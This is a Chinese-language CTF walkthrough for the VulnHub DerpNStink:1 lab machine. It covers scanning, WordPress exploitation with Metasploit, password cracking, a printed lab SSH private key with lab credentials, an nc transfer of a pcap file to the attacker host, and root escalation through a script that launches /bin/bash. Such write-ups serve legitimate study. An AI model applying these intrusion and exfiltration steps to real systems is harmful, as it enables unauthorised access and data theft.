VulnHub-DerpNStink:1渗透学习

前言

靶机地址:https://download.vulnhub.com/derpnstink/VulnHub2018_DeRPnStiNK.ova

靶机难度:中级(CTF)

靶机发布日期:2018 年 2 月 9日

靶机描述:Derp 先生和 Stinky 叔叔是两位正在创办自己的公司 DerpNStink 的系统管理员。他们没有聘请合格的专业人士来建立他们的 IT 环境,而是决定将他们自己的系统组装在一起,该系统几乎准备好上线......

目标:得到root权限&找到4个flag文件

作者:我是小小白

时间:2021-07-11

请注意:
本博客所有文章,仅供研究测试及学习IT技术之用,严禁传播和用于非法用途,否则所产生的一切后果由观看文章、视频的人自行承担;本博客网以及发帖人不承担任何责任!

信息收集

主机发现

我们在VM中需要确定攻击目标的IP地址,可以使用netdiscover/nmap来获取目标主机的IP地址:

nmap -sP 192.168.1.0/24 -T5
参数解读:
	-sP : 用ping扫描判断主机是否存活,只有主机存活,nmap才会继续扫描,一般最好不加,因为有的主机会禁止ping
	-T5: 指定扫描过程使用的时序,总有6个级别(0-5),级别越高,扫描速度越快,但也容易被防火墙或IDS检测并屏蔽掉,在网络通讯状况较好的情况下推荐使用T5

端口扫描

我们已经找到了目标计算机IP地址:192.168.1.15

第一步是找出目标计算机上可用的开放端口和一些服务。因此我在目标计算机上启动了nmap全端口T5速度扫描:

nmap -sS -sV -sC -O -T5  -Pn -p- 192.168.1.15
参数解读:
	-A :启用-A选项之后,Nmap将检测目标主机的下述信息
        服务版本识别(-sV);
        操作系统识别(-O);
        脚本扫描(-sC);
        Traceroute(–traceroute)
	-sS/sT/sA/sW/sM:指定使用 TCP SYN/Connect()/ACK/Window/Maimon scans的方式来对目标主机进行扫描
	-sV: 指定让Nmap进行服务版本扫描
	-p-:进行全端口扫描
	-Pn:禁用主机检测(-Pn)
要进一步枚举服务,也可以使用nc连接到每个端口上。例如如下枚举 ssh和http服务的方式:

nc -nv 192.168.1.15 22

nc -nv 192.168.1.15 80

PORT

SERVICE

VERSION DETECTION

TCP: 21

FTP

vsftpd 3.0.2

TCP: 22

SSH

OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)

TCP: 80

HTTP

Apache httpd 2.4.7 ((Ubuntu))

目录枚举

gobuster dir -u http://192.168.1.15/  -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 --random-agent 

发现存在以下几个目录:
/robots.txt
/weblog               (Status: 301) [Size: 312] [--> http://192.168.1.15/weblog/]
/php                  (Status: 301) [Size: 309] [--> http://192.168.1.15/php/]   
/css                  (Status: 301) [Size: 309] [--> http://192.168.1.15/css/]   
/js                   (Status: 301) [Size: 308] [--> http://192.168.1.15/js/]    
/javascript           (Status: 301) [Size: 316] [--> http://192.168.1.15/javascript/]
/temporary            (Status: 301) [Size: 315] [--> http://192.168.1.15/temporary/] 
/server-status        (Status: 403) [Size: 292]   

gobuster dir -u http://192.168.1.15/weblog/  -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 --random-agent 

/wp-content           (Status: 301) [Size: 323] [--> http://192.168.1.15/weblog/wp-content/]
/wp-includes          (Status: 301) [Size: 324] [--> http://192.168.1.15/weblog/wp-includes/]
/wp-admin             (Status: 301) [Size: 321] [--> http://192.168.1.15/weblog/wp-admin/] 

在php目录下查找到存在/phpmyadmin 路径;

gobuster dir -u http://192.168.1.15/php  -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 --random-agent 

指纹识别

发现是使用的Wordpress CMS搭建的站点;

页面源码中发现第一个Flag1;

发现http://derpnstink.local/weblog/是采用Wordpress搭建的;

漏洞发现

Nikto 扫描

nikto :开源的WEB扫描评估软件,可以扫描指定主机的WEB类型、主机名、指定目录、特定CGI漏洞、返回主机允许的 http模式等

nikto -h 192.168.1.15  -C all

扫描发现存在Apche默认文件 /icons/README

扫描发现wordpress后台登录地址:http://192.168.1.15/weblog/wp-admin/,使用弱口令admin/admin成功登录后台;

Wpscan扫描

注意:在进行以下测试之前需要先修改本地hosts文件,确保域名能够被正常解析;

api-token申请地址:https://wpvulndb.com/users/choose_plan(新版本wpscan没有添加api扫描不出来漏洞)

wpscan --url http://derpnstink.local/weblog -e  --api-token  token值

漏洞利用

msf模块

查找Wordpress CMS插件slideshow-gallery的任意文件上传漏洞exploit模块;

设置一下参数

成功获取到了一个meterpreter会话;

利用Python获取交换时shell;

在网站目录下找到了wp-config配置文件,获取到了数据的账号密码;

在数据库中查找到两个账户:

admin/$P$BgnU3VLAv.RWd3rdrkfVIuQr6mFvpd/(需要破解hash值)
unclestinky/$P$BW6NTkFvboVVCHU2R9qmNai1WfHSC41(需要破解hash值)

这里使用获取的账户密码登录phpmyadmin,在wp_posts表里找到第二个flag2;

hash破解

John密码破解

john /root/hash.txt --wordlist=./rockyou.txt

成功得到密码:wedgie57 。使用unclestinky/wedgie57进行登录;

此时发现账户已经是管理员权限,并找到了flag2;

获取其他flag

在home目录下发现存在其他两个账户:

mrderp、stinky

尝试使用现有的密码登录ftp,发现使用stinky/wedgie57登录成功;

每个目录都翻看下:

在ssh目录下找了key文件(目录隐藏的比较深),通过ftp下载key.txt文件到本地;

-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAwSaN1OE76mjt64fOpAbKnFyikjz4yV8qYUxki+MjiRPqtDo4
2xba3Oo78y82svuAHBm6YScUos8dHUCTMLA+ogsmoDaJFghZEtQXugP8flgSk9cO
uJzOt9ih/MPmkjzfvDL9oW2Nh1XIctVfTZ6o8ZeJI8Sxh8Eguh+dw69M+Ad0Dimn
AKDPdL7z7SeWg1BJ1q/oIAtJnv7yJz2iMbZ6xOj6/ZDE/2trrrdbSyMc5CyA09/f
5xZ9f1ofSYhiCQ+dp9CTgH/JpKmdsZ21Uus8cbeGk1WpT6B+D8zoNgRxmO3/VyVB
LHXaio3hmxshttdFp4bFc3foTTSyJobGoFX+ewIDAQABAoIBACESDdS2H8EZ6Cqc
nRfehdBR2A/72oj3/1SbdNeys0HkJBppoZR5jE2o2Uzg95ebkiq9iPjbbSAXICAD
D3CVrJOoHxvtWnloQoADynAyAIhNYhjoCIA5cPdvYwTZMeA2BgS+IkkCbeoPGPv4
ZpHuqXR8AqIaKl9ZBNZ5VVTM7fvFVl5afN5eWIZlOTDf++VSDedtR7nL2ggzacNk
Q8JCK9mF62wiIHK5Zjs1lns4Ii2kPw+qObdYoaiFnexucvkMSFD7VAdfFUECQIyq
YVbsp5tec2N4HdhK/B0V8D4+6u9OuoiDFqbdJJWLFQ55e6kspIWQxM/j6PRGQhL0
DeZCLQECgYEA9qUoeblEro6ICqvcrye0ram38XmxAhVIPM7g5QXh58YdB1D6sq6X
VGGEaLxypnUbbDnJQ92Do0AtvqCTBx4VnoMNisce++7IyfTSygbZR8LscZQ51ciu
Qkowz3yp8XMyMw+YkEV5nAw9a4puiecg79rH9WSr4A/XMwHcJ2swloECgYEAyHn7
VNG/Nrc4/yeTqfrxzDBdHm+y9nowlWL+PQim9z+j78tlWX/9P8h98gOlADEvOZvc
fh1eW0gE4DDyRBeYetBytFc0kzZbcQtd7042/oPmpbW55lzKBnnXkO3BI2bgU9Br
7QTsJlcUybZ0MVwgs+Go1Xj7PRisxMSRx8mHbvsCgYBxyLulfBz9Um/cTHDgtTab
L0LWucc5KMxMkTwbK92N6U2XBHrDV9wkZ2CIWPejZz8hbH83Ocfy1jbETJvHms9q
cxcaQMZAf2ZOFQ3xebtfacNemn0b7RrHJibicaaM5xHvkHBXjlWN8e+b3x8jq2b8
gDfjM3A/S8+Bjogb/01JAQKBgGfUvbY9eBKHrO6B+fnEre06c1ArO/5qZLVKczD7
RTazcF3m81P6dRjO52QsPQ4vay0kK3vqDA+s6lGPKDraGbAqO+5paCKCubN/1qP1
14fUmuXijCjikAPwoRQ//5MtWiwuu2cj8Ice/PZIGD/kXk+sJXyCz2TiXcD/qh1W
pF13AoGBAJG43weOx9gyy1Bo64cBtZ7iPJ9doiZ5Y6UWYNxy3/f2wZ37D99NSndz
UBtPqkw0sAptqkjKeNtLCYtHNFJAnE0/uAGoAyX+SHhas0l2IYlUlk8AttcHP1kA
a4Id4FlCiJAXl3/ayyrUghuWWA3jMW3JgZdMyhU3OV+wyZz25S8o
-----END RSA PRIVATE KEY-----

1) 这里先利用获取的meterpreter会话结合上一步获取的ftp账户密码尝试切换到stinky用户;

su stinky

2)利用ssh指定密钥登录

ssh -i key.txt stinky@192.168.1.15

chmod 400 key.txt

成功获取到第三个flag文件;

继续寻找flag4;

利用nc传输文件:	
	目标机器:nc -nv 192.168.1.7 1234  < derpissues.pcap
  kali:		nc -lvvp 1234 > derpissues.pcap

在pcap包中获取到了账户mrderp/derpderpderpderpderpderpderp;

使用账户mrderp/derpderpderpderpderpderpderp登录成功,在桌面上查看到了一份日志文件helpdesk.log,内容如下:

提示我们访问https://pastebin.com/RzK9WfGw网站:

提示可以在靶机下运行derpy文件,但是实际上八级上不存在该目录和文件,这里我们创建个相同目录,然后创建文件,随意写入代码;

1、mkdir -p  binaries

2、touch derpy.sh

3、写入文件  
    #!/bin/bash
    /bin/bash

成功提权到root;

至此,我们已经成功得到root权限&找到四个flag.txt。

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值